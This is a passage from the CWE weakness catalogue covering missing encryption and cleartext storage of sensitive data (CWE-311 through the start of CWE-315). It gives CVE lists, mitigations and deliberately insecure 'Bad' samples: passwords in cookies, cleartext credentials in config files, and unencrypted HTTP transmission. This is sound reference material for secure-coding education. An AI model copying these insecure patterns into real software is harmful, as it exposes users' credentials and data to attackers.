The code stores the user's username and password in plaintext in a cookie on the user's machine. This exposes the user's login information if their computer is compromised by an attacker. Even if the user's machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie.

Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).

### Example 2:

The following code attempts to establish a connection, read in a password, then store it to a buffer.

*Example Language: C*

*(Bad)*

```
server.sin_family = AF_INET; hp = gethostbyname(argv[1]);
if (hp==NULL) error("Unknown host");
memcpy( (char *)&server.sin_addr,(char *)hp->h_addr,hp->h_length);
if (argc < 3) port = 80;
else port = (unsigned short)atoi(argv[3]);
server.sin_port = htons(port);
if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0) error("Connecting");
...
while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {
    write(dfd,password_buffer,n);
    ...
}
```

While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.

### Example 3:

The following code attempts to establish a connection to a site to communicate sensitive information.

*Example Language: Java*

*(Bad)*

```
try {
    URL u = new URL("http://www.secret.example.org/");
    HttpURLConnection hu = (HttpURLConnection) u.openConnection();
    hu.setRequestMethod("PUT");
    hu.connect();
    OutputStream os = hu.getOutputStream();
    hu.disconnect();
}
catch (IOException e) {
    //...
}
```

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.

## Observed Examples

Reference	Description
<b>CVE-2009-2272</b>	password and username stored in cleartext in a cookie <a href="https://www.cve.org/CVERecord?id=CVE-2009-2272">https://www.cve.org/CVERecord?id=CVE-2009-2272</a>
<b>CVE-2009-1466</b>	password stored in cleartext in a file with insecure permissions <a href="https://www.cve.org/CVERecord?id=CVE-2009-1466">https://www.cve.org/CVERecord?id=CVE-2009-1466</a>
<b>CVE-2009-0152</b>	chat program disables SSL in some circumstances even when the user says to use SSL. <a href="https://www.cve.org/CVERecord?id=CVE-2009-0152">https://www.cve.org/CVERecord?id=CVE-2009-0152</a>

Reference	Description
<b>CVE-2009-1603</b>	Chain: product uses an incorrect public exponent when generating an RSA key, which effectively disables the encryption <a href="https://www.cve.org/CVERecord?id=CVE-2009-1603">https://www.cve.org/CVERecord?id=CVE-2009-1603</a>
<b>CVE-2009-0964</b>	storage of unencrypted passwords in a database <a href="https://www.cve.org/CVERecord?id=CVE-2009-0964">https://www.cve.org/CVERecord?id=CVE-2009-0964</a>
<b>CVE-2008-6157</b>	storage of unencrypted passwords in a database <a href="https://www.cve.org/CVERecord?id=CVE-2008-6157">https://www.cve.org/CVERecord?id=CVE-2008-6157</a>
<b>CVE-2008-6828</b>	product stores a password in cleartext in memory <a href="https://www.cve.org/CVERecord?id=CVE-2008-6828">https://www.cve.org/CVERecord?id=CVE-2008-6828</a>
<b>CVE-2008-1567</b>	storage of a secret key in cleartext in a temporary file <a href="https://www.cve.org/CVERecord?id=CVE-2008-1567">https://www.cve.org/CVERecord?id=CVE-2008-1567</a>
<b>CVE-2008-0174</b>	SCADA product uses HTTP Basic Authentication, which is not encrypted <a href="https://www.cve.org/CVERecord?id=CVE-2008-0174">https://www.cve.org/CVERecord?id=CVE-2008-0174</a>
<b>CVE-2007-5778</b>	login credentials stored unencrypted in a registry key <a href="https://www.cve.org/CVERecord?id=CVE-2007-5778">https://www.cve.org/CVERecord?id=CVE-2007-5778</a>
<b>CVE-2002-1949</b>	Passwords transmitted in cleartext. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1949">https://www.cve.org/CVERecord?id=CVE-2002-1949</a>
<b>CVE-2008-4122</b>	Chain: Use of HTTPS cookie without "secure" flag causes it to be transmitted across unencrypted HTTP. <a href="https://www.cve.org/CVERecord?id=CVE-2008-4122">https://www.cve.org/CVERecord?id=CVE-2008-4122</a>
<b>CVE-2008-3289</b>	Product sends password hash in cleartext in violation of intended policy. <a href="https://www.cve.org/CVERecord?id=CVE-2008-3289">https://www.cve.org/CVERecord?id=CVE-2008-3289</a>
<b>CVE-2008-4390</b>	Remote management feature sends sensitive information including passwords in cleartext. <a href="https://www.cve.org/CVERecord?id=CVE-2008-4390">https://www.cve.org/CVERecord?id=CVE-2008-4390</a>
<b>CVE-2007-5626</b>	Backup routine sends password in cleartext in email. <a href="https://www.cve.org/CVERecord?id=CVE-2007-5626">https://www.cve.org/CVERecord?id=CVE-2007-5626</a>
<b>CVE-2004-1852</b>	Product transmits Blowfish encryption key in cleartext. <a href="https://www.cve.org/CVERecord?id=CVE-2004-1852">https://www.cve.org/CVERecord?id=CVE-2004-1852</a>
<b>CVE-2008-0374</b>	Printer sends configuration information, including administrative password, in cleartext. <a href="https://www.cve.org/CVERecord?id=CVE-2008-0374">https://www.cve.org/CVERecord?id=CVE-2008-0374</a>
<b>CVE-2007-4961</b>	Chain: cleartext transmission of the MD5 hash of password enables attacks against a server that is susceptible to replay (CWE-294). <a href="https://www.cve.org/CVERecord?id=CVE-2007-4961">https://www.cve.org/CVERecord?id=CVE-2007-4961</a>
<b>CVE-2007-4786</b>	Product sends passwords in cleartext to a log server. <a href="https://www.cve.org/CVERecord?id=CVE-2007-4786">https://www.cve.org/CVERecord?id=CVE-2007-4786</a>
<b>CVE-2005-3140</b>	Product sends file with cleartext passwords in e-mail message intended for diagnostic purposes. <a href="https://www.cve.org/CVERecord?id=CVE-2005-3140">https://www.cve.org/CVERecord?id=CVE-2005-3140</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
MemberOf	<b>C</b>	719	OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage	<input checked="" type="checkbox"/>	629 2126
MemberOf	<b>C</b>	720	OWASP Top Ten 2007 Category A9 - Insecure Communications	<input checked="" type="checkbox"/>	629 2126
MemberOf	<b>C</b>	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	<input checked="" type="checkbox"/>	711 2131
MemberOf	<b>C</b>	803	2010 Top 25 - Porous Defenses	<input checked="" type="checkbox"/>	800 2148

Nature	Type	ID	Name	V	Page
MemberOf	C	816	OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage	809	2152
MemberOf	C	818	OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection	809	2153
MemberOf	C	861	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 18 - Miscellaneous (MSC)	844	2163
MemberOf	C	866	2011 Top 25 - Porous Defenses	900	2165
MemberOf	C	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	2183
MemberOf	C	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	928	2184
MemberOf	C	963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	C	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure	1026	2229
MemberOf	C	1152	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC)	1133	2246
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

## Notes

### Relationship

There is an overlapping relationship between insecure storage of sensitive information (CWE-922) and missing encryption of sensitive information (CWE-311). Encryption is often used to prevent an attacker from reading the sensitive data. However, encryption does not prevent the attacker from erasing or overwriting the data.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to encrypt data
OWASP Top Ten 2007	A8	CWE More Specific	Insecure Cryptographic Storage
OWASP Top Ten 2007	A9	CWE More Specific	Insecure Communications
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage
WASC	4		Insufficient Transport Layer Protection
The CERT Oracle Secure Coding Standard for Java (2011)	MSC00-J		Use SSLSocket rather than Socket for secure data exchange
Software Fault Patterns	SFP23		Exposed Data

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
31	Accessing/Intercepting/Modifying HTTP Cookies
37	Retrieve Embedded Sensitive Data
65	Sniff Application Code
157	Sniffing Attacks
158	Sniffing Network Traffic
204	Lifting Sensitive Data Embedded in Cache
383	Harvesting Information via API Event Monitoring
384	Application API Message Manipulation via Man-in-the-Middle
385	Transaction or Event Tampering via Application API Manipulation



CAPEC-ID	Attack Pattern Name
386	Application API Navigation Remapping
387	Navigation Remapping To Propagate Malicious Content
388	Application API Button Hijacking
477	Signature Spoofing by Mixing Signed and Unsigned Content
609	Cellular Traffic Intercept

## References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-265]Frank Kim. "Top 25 Series - Rank 10 - Missing Encryption of Sensitive Data". 2010 February 6. SANS Software Security Institute. < <http://blogs.sans.org/appsecstreetfighter/2010/02/26/top-25-series-rank-10-missing-encryption-of-sensitive-data/> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.

## CWE-312: Cleartext Storage of Sensitive Information

**Weakness ID** : 312

**Structure** : Simple

**Abstraction** : Base

### Description

The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere.

### Extended Description

Because the information is stored in cleartext (i.e., unencrypted), attackers could potentially read it. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

When organizations adopt cloud services, it can be easier for attackers to access the data from anywhere on the Internet.










In some systems/environments such as cloud, the use of "double encryption" (at both the software and hardware layer) might be required, and the developer might be solely responsible for both layers, instead of shared responsibility with the administrator of the broader system/environment.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*



Nature	Type	ID	Name	Page
ChildOf		922	Insecure Storage of Sensitive Information	1698
ChildOf		311	Missing Encryption of Sensitive Data	718
ParentOf		313	Cleartext Storage in a File or on Disk	731
ParentOf		314	Cleartext Storage in the Registry	733
ParentOf		315	Cleartext Storage of Sensitive Information in a Cookie	734
ParentOf		316	Cleartext Storage of Sensitive Information in Memory	736
ParentOf		317	Cleartext Storage of Sensitive Information in GUI	737
ParentOf		318	Cleartext Storage of Sensitive Information in Executable	739
ParentOf		526	Cleartext Storage of Sensitive Information in an Environment Variable	1165

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		311	Missing Encryption of Sensitive Data	718

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		199	Information Management Errors	2104

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Cloud Computing (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

**Technology** : Mobile (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data <i>An attacker with access to the system could read sensitive information stored in cleartext.</i>	

### Potential Mitigations

**Phase: Implementation**

**Phase: System Configuration**

**Phase: Operation**

When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to encrypt the data at rest. [REF-1297] [REF-1299] [REF-1301]

### Demonstrative Examples

#### Example 1:

The following code excerpt stores a plaintext user account ID in a browser cookie.

*Example Language: Java*

*(Bad)*

```
response.addCookie( new Cookie("userAccountID", acctID);
```

Because the account ID is in plaintext, the user's account information is exposed if their computer is compromised by an attacker.

### Example 2:

This code writes a user's login information to a cookie so the user does not have to login again later.

*Example Language: PHP*

*(Bad)*

```
function persistLogin($username, $password){
    $data = array("username" => $username, "password"=> $password);
    setcookie ("userdata", $data);
}
```

The code stores the user's username and password in plaintext in a cookie on the user's machine. This exposes the user's login information if their computer is compromised by an attacker. Even if the user's machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie.

Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).

### Example 3:

The following code attempts to establish a connection, read in a password, then store it to a buffer.

*Example Language: C*

*(Bad)*

```
server.sin_family = AF_INET; hp = gethostbyname(argv[1]);
if (hp==NULL) error("Unknown host");
memcpy( (char *)&server.sin_addr,(char *)hp->h_addr,hp->h_length);
if (argc < 3) port = 80;
else port = (unsigned short)atoi(argv[3]);
server.sin_port = htons(port);
if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0) error("Connecting");
...
while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {
    write(dfd,password_buffer,n);
    ...
}
```

While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.

### Example 4:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

*Example Language: Java*

*(Bad)*

```
# Java Web App ResourceBundle properties file
...
webapp ldap.username=secretUsername
webapp ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

*Example Language: ASP.NET*

*(Bad)*

```
...
<connectionStrings>
```

```
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
  providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

#### Example 5:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

At least one OT product stored a password in plaintext.

#### Example 6:

In 2021, a web site operated by PeopleGIS stored data of US municipalities in Amazon Web Service (AWS) Simple Storage Service (S3) buckets.

*Example Language: Other*

*(Bad)*

A security researcher found 86 S3 buckets that could be accessed without authentication (CWE-306) and stored data unencrypted (CWE-312). These buckets exposed over 1000 GB of data and 1.6 million files including physical addresses, phone numbers, tax documents, pictures of driver's license IDs, etc. [REF-1296] [REF-1295]

While it was not publicly disclosed how the data was protected after discovery, multiple options could have been considered.

*Example Language: Other*

*(Good)*

The sensitive information could have been protected by ensuring that the buckets did not have public read access, e.g., by enabling the s3-account-level-public-access-blocks-periodic rule to Block Public Access. In addition, the data could have been encrypted at rest using the appropriate S3 settings, e.g., by enabling server-side encryption using the s3-bucket-server-side-encryption-enabled setting. Other settings are available to further prevent bucket data from being leaked. [REF-1297]

#### Example 7:

Consider the following PowerShell command examples for encryption scopes of Azure storage objects. In the first example, an encryption scope is set for the storage account.

*Example Language: Shell*

*(bad)*

```
New-AzStorageEncryptionScope -ResourceGroupName "MyResourceGroup" -AccountName "MyStorageAccount" -
EncryptionScopeName testscope -StorageEncryption
```

The result (edited and formatted for readability) might be:

*Example Language: Other*

*(bad)*

```
ResourceGroupName: MyResourceGroup, StorageAccountName: MyStorageAccount
```

However, the empty string under `RequireInfrastructureEncryption` indicates this service was not enabled at the time of creation, because the `-RequireInfrastructureEncryption` argument was not specified in the command.

Including the `-RequireInfrastructureEncryption` argument addresses the issue:

Example Language: Shell

(good)

```
New-AzStorageEncryptionScope -ResourceGroupName "MyResourceGroup" -AccountName "MyStorageAccount" -
EncryptionScopeName testscope -StorageEncryption -RequireInfrastructureEncryption
```

This produces the report:

Example Language: Other

(result)

```
ResourceGroupName: MyResourceGroup, StorageAccountName: MyStorageAccount
```

In a scenario where both software and hardware layer encryption is required ("double encryption"), Azure's infrastructure encryption setting can be enabled via the CLI or Portal. An important note is that infrastructure hardware encryption cannot be enabled or disabled after a blob is created. Furthermore, the default value for infrastructure encryption is disabled in blob creations.

### Observed Examples

Reference	Description
<b>CVE-2022-30275</b>	Remote Terminal Unit (RTU) uses a driver that relies on a password stored in plaintext. <a href="https://www.cve.org/CVERecord?id=CVE-2022-30275">https://www.cve.org/CVERecord?id=CVE-2022-30275</a>
<b>CVE-2009-2272</b>	password and username stored in cleartext in a cookie <a href="https://www.cve.org/CVERecord?id=CVE-2009-2272">https://www.cve.org/CVERecord?id=CVE-2009-2272</a>
<b>CVE-2009-1466</b>	password stored in cleartext in a file with insecure permissions <a href="https://www.cve.org/CVERecord?id=CVE-2009-1466">https://www.cve.org/CVERecord?id=CVE-2009-1466</a>
<b>CVE-2009-0152</b>	chat program disables SSL in some circumstances even when the user says to use SSL. <a href="https://www.cve.org/CVERecord?id=CVE-2009-0152">https://www.cve.org/CVERecord?id=CVE-2009-0152</a>
<b>CVE-2009-1603</b>	Chain: product uses an incorrect public exponent when generating an RSA key, which effectively disables the encryption <a href="https://www.cve.org/CVERecord?id=CVE-2009-1603">https://www.cve.org/CVERecord?id=CVE-2009-1603</a>
<b>CVE-2009-0964</b>	storage of unencrypted passwords in a database <a href="https://www.cve.org/CVERecord?id=CVE-2009-0964">https://www.cve.org/CVERecord?id=CVE-2009-0964</a>
<b>CVE-2008-6157</b>	storage of unencrypted passwords in a database <a href="https://www.cve.org/CVERecord?id=CVE-2008-6157">https://www.cve.org/CVERecord?id=CVE-2008-6157</a>
<b>CVE-2008-6828</b>	product stores a password in cleartext in memory <a href="https://www.cve.org/CVERecord?id=CVE-2008-6828">https://www.cve.org/CVERecord?id=CVE-2008-6828</a>
<b>CVE-2008-1567</b>	storage of a secret key in cleartext in a temporary file <a href="https://www.cve.org/CVERecord?id=CVE-2008-1567">https://www.cve.org/CVERecord?id=CVE-2008-1567</a>
<b>CVE-2008-0174</b>	SCADA product uses HTTP Basic Authentication, which is not encrypted <a href="https://www.cve.org/CVERecord?id=CVE-2008-0174">https://www.cve.org/CVERecord?id=CVE-2008-0174</a>
<b>CVE-2007-5778</b>	login credentials stored unencrypted in a registry key <a href="https://www.cve.org/CVERecord?id=CVE-2007-5778">https://www.cve.org/CVERecord?id=CVE-2007-5778</a>
<b>CVE-2001-1481</b>	Plaintext credentials in world-readable file. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1481">https://www.cve.org/CVERecord?id=CVE-2001-1481</a>
<b>CVE-2005-1828</b>	Password in cleartext in config file. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1828">https://www.cve.org/CVERecord?id=CVE-2005-1828</a>
<b>CVE-2005-2209</b>	Password in cleartext in config file. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2209">https://www.cve.org/CVERecord?id=CVE-2005-2209</a>
<b>CVE-2002-1696</b>	Decrypted copy of a message written to disk given a combination of options and when user replies to an encrypted message. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1696">https://www.cve.org/CVERecord?id=CVE-2002-1696</a>

Reference	Description
<b>CVE-2004-2397</b>	Plaintext storage of private key and passphrase in log file when user imports the key. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2397">https://www.cve.org/CVERecord?id=CVE-2004-2397</a>
<b>CVE-2002-1800</b>	Admin password in plaintext in a cookie. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1800">https://www.cve.org/CVERecord?id=CVE-2002-1800</a>
<b>CVE-2001-1537</b>	Default configuration has cleartext usernames/passwords in cookie. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1537">https://www.cve.org/CVERecord?id=CVE-2001-1537</a>
<b>CVE-2001-1536</b>	Usernames/passwords in cleartext in cookies. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1536">https://www.cve.org/CVERecord?id=CVE-2001-1536</a>
<b>CVE-2005-2160</b>	Authentication information stored in cleartext in a cookie. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2160">https://www.cve.org/CVERecord?id=CVE-2005-2160</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	816	OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage	809	2152
MemberOf	<b>V</b>	884	CWE Cross-section	884	2327
MemberOf	<b>C</b>	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	928	2184
MemberOf	<b>C</b>	963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf	<b>C</b>	1029	OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure	1026	2229
MemberOf	<b>C</b>	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

### Notes

#### Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Plaintext Storage of Sensitive Information
Software Fault Patterns	SFP23		Exposed Data

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
37	Retrieve Embedded Sensitive Data

### References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-172]Chris Wysopal. "Mobile App Top 10 List". 2010 December 3. < <http://www.veracode.com/blog/2010/12/mobile-app-top-10-list/> >.

[REF-1283]Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022 June 0. < <https://www.forescout.com/resources/ot-icefall-report/> >.

[REF-1295]WizCase. "Over 80 US Municipalities' Sensitive Information, Including Resident's Personal Data, Left Vulnerable in Massive Data Breach". 2021 July 0. < <https://www.wizcase.com/blog/us-municipality-breach-report/> >.

[REF-1296]Jonathan Greig. "1,000 GB of local government data exposed by Massachusetts software company". 2021 July 2. < <https://www.zdnet.com/article/1000-gb-of-local-government-data-exposed-by-massachusetts-software-company/> >.

[REF-1297]Amazon. "AWS Foundational Security Best Practices controls". 2022. < <https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-standards-fsbp-controls.html> >.2022-10-11.

[REF-1299]Microsoft. "Azure encryption overview". 2022 August 8. < <https://learn.microsoft.com/en-us/azure/security/fundamentals/encryption-overview> >.2022-10-11.

[REF-1301]Google Cloud. "Default encryption at rest". 2022 October 1. < <https://cloud.google.com/docs/security/encryption/default-encryption> >.2022-10-11.

[REF-1307]Center for Internet Security. "CIS Microsoft Azure Foundations Benchmark version 1.5.0". 2022 August 6. < <https://www.cisecurity.org/benchmark/azure> >.2023-01-19.

[REF-1310]Microsoft. "Enable infrastructure encryption for double encryption of data". 2022 July 4. < <https://learn.microsoft.com/en-us/azure/storage/common/infrastructure-encryption-enable> >.2023-01-24.

## CWE-313: Cleartext Storage in a File or on Disk

**Weakness ID** : 313

**Structure** : Simple

**Abstraction** : Variant

### Description

The product stores sensitive information in cleartext in a file, or on disk.

### Extended Description

The sensitive information could be read by attackers with access to the file, or with physical or administrator access to the raw disk. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		312	Cleartext Storage of Sensitive Information	725

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

### Demonstrative Examples

#### Example 1:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in cleartext.

This Java example shows a properties file with a cleartext username / password pair.

*Example Language: Java*

*(Bad)*

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in cleartext.

*Example Language: ASP.NET*

*(Bad)*

```
...
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
    providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in cleartext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

### Observed Examples

Reference	Description
<b>CVE-2001-1481</b>	Cleartext credentials in world-readable file. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1481">https://www.cve.org/CVERecord?id=CVE-2001-1481</a>
<b>CVE-2005-1828</b>	Password in cleartext in config file. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1828">https://www.cve.org/CVERecord?id=CVE-2005-1828</a>
<b>CVE-2005-2209</b>	Password in cleartext in config file. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2209">https://www.cve.org/CVERecord?id=CVE-2005-2209</a>
<b>CVE-2002-1696</b>	Decrypted copy of a message written to disk given a combination of options and when user replies to an encrypted message. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1696">https://www.cve.org/CVERecord?id=CVE-2002-1696</a>
<b>CVE-2004-2397</b>	Cleartext storage of private key and passphrase in log file when user imports the key. <a href="https://www.cve.org/CVERecord?id=CVE-2004-2397">https://www.cve.org/CVERecord?id=CVE-2004-2397</a>

### MemberOf Relationships



This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf		1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

## Notes

### Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Plaintext Storage in File or on Disk
Software Fault Patterns	SFP23		Exposed Data

## CWE-314: Cleartext Storage in the Registry

**Weakness ID :** 314

**Structure :** Simple

**Abstraction :** Variant

### Description

The product stores sensitive information in cleartext in the registry.

### Extended Description

Attackers can read the information by accessing the registry key. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		312	Cleartext Storage of Sensitive Information	725

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	2221

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	

### Observed Examples

Reference	Description
<b>CVE-2005-2227</b>	Cleartext passwords in registry key. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2227">https://www.cve.org/CVERecord?id=CVE-2005-2227</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193

### Notes

#### Terminology

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Plaintext Storage in Registry
Software Fault Patterns	SFP23		Exposed Data

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
37	Retrieve Embedded Sensitive Data

## CWE-315: Cleartext Storage of Sensitive Information in a Cookie

**Weakness ID** : 315

**Structure** : Simple

**Abstraction** : Variant

### Description

The product stores sensitive information in cleartext in a cookie.

### Extended Description

Attackers can use widely-available tools to view the cookie and read the sensitive information. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

